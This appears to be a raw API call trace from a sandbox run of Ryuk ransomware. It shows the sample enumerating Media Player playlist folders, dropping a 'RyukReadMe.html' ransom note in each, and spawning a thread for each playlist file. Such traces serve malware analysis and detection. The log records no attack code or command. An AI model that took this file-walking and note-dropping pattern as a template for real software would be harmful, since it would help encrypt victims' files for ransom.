	[0283.498] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0283.499] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0283.499] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f4, dwReserved1=0x0, cFileName="0000E713", cAlternateFileName="")) returned 1
	[0283.499] SetLastError (dwErrCode=0x0) 
	[0283.499] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x920
	[0283.500] GetLastError () returned 0x0
	[0283.500] WriteFile (in: hFile=0x920, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18c568*=0x273, lpOverlapped=0x0) returned 1
	[0283.501] CloseHandle (hObject=0x920) returned 1
	[0283.502] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0283.523] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0283.523] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x200, dwReserved1=0x0, cFileName="01_Music_auto_rated_at_5_stars.wpl", cAlternateFileName="01_MUS~1.WPL")) returned 1
	[0283.523] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0283.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x904
	[0283.527] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.527] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x4ff, dwReserved0=0x200, dwReserved1=0x0, cFileName="02_Music_added_in_the_last_month.wpl", cAlternateFileName="02_MUS~1.WPL")) returned 1
	[0283.527] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0283.528] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x924
	[0283.529] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.530] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x4f3, dwReserved0=0x200, dwReserved1=0x0, cFileName="03_Music_rated_at_4_or_5_stars.wpl", cAlternateFileName="03_MUS~1.WPL")) returned 1
	[0283.530] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0283.530] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x928
	[0283.532] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.532] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x200, dwReserved1=0x0, cFileName="04_Music_played_in_the_last_month.wpl", cAlternateFileName="04_MUS~1.WPL")) returned 1
	[0283.532] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0283.533] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x92c
	[0283.534] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.534] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x31d, dwReserved0=0x200, dwReserved1=0x0, cFileName="05_Pictures_taken_in_the_last_month.wpl", cAlternateFileName="05_PIC~1.WPL")) returned 1
	[0283.534] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0283.535] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x930
	[0283.536] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.536] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x311, dwReserved0=0x200, dwReserved1=0x0, cFileName="06_Pictures_rated_4_or_5_stars.wpl", cAlternateFileName="06_PIC~1.WPL")) returned 1
	[0283.537] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0283.537] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x934
	[0283.538] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.539] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x200, dwReserved1=0x0, cFileName="07_TV_recorded_in_the_last_week.wpl", cAlternateFileName="07_TV_~1.WPL")) returned 1
	[0283.539] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0283.540] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x938
	[0283.541] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.541] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3fc, dwReserved0=0x200, dwReserved1=0x0, cFileName="08_Video_rated_at_4_or_5_stars.wpl", cAlternateFileName="08_VID~1.WPL")) returned 1
	[0283.542] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0283.542] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x93c
	[0283.784] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.785] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x200, dwReserved1=0x0, cFileName="09_Music_played_the_most.wpl", cAlternateFileName="09_MUS~1.WPL")) returned 1
	[0283.785] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0283.786] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x940
	[0283.787] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.788] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x427, dwReserved0=0x200, dwReserved1=0x0, cFileName="10_All_Music.wpl", cAlternateFileName="10_ALL~1.WPL")) returned 1
	[0283.788] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0283.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x944
	[0283.791] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.792] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x200, dwReserved1=0x0, cFileName="11_All_Pictures.wpl", cAlternateFileName="11_ALL~1.WPL")) returned 1
	[0283.792] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0283.792] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x948
	[0283.793] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.794] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0x200, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 1
	[0283.794] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0283.794] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x94c
	[0283.795] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.795] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0x200, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 0
	[0283.796] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0283.797] SetLastError (dwErrCode=0x0) 
	[0283.797] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.797] GetLastError () returned 0x3
	[0283.797] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0283.797] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.797] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f4, dwReserved1=0x0, cFileName="00010C6E", cAlternateFileName="")) returned 1
	[0283.798] SetLastError (dwErrCode=0x0) 
	[0283.798] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x920
	[0283.798] GetLastError () returned 0xb7
	[0283.798] CloseHandle (hObject=0x920) returned 1
	[0283.798] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0283.800] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0283.801] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x200, dwReserved1=0x0, cFileName="01_Music_auto_rated_at_5_stars.wpl", cAlternateFileName="01_MUS~1.WPL")) returned 1
	[0283.801] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0283.801] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x950
	[0283.802] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.803] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4ff, dwReserved0=0x200, dwReserved1=0x0, cFileName="02_Music_added_in_the_last_month.wpl", cAlternateFileName="02_MUS~1.WPL")) returned 1
	[0283.803] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0283.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x954
	[0283.805] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.805] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4f3, dwReserved0=0x200, dwReserved1=0x0, cFileName="03_Music_rated_at_4_or_5_stars.wpl", cAlternateFileName="03_MUS~1.WPL")) returned 1
	[0283.806] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0283.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x958
	[0283.807] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.808] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x200, dwReserved1=0x0, cFileName="04_Music_played_in_the_last_month.wpl", cAlternateFileName="04_MUS~1.WPL")) returned 1
	[0283.808] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0283.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x95c
	[0283.810] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.810] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x31d, dwReserved0=0x200, dwReserved1=0x0, cFileName="05_Pictures_taken_in_the_last_month.wpl", cAlternateFileName="05_PIC~1.WPL")) returned 1
	[0283.810] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0283.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x960
	[0283.812] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
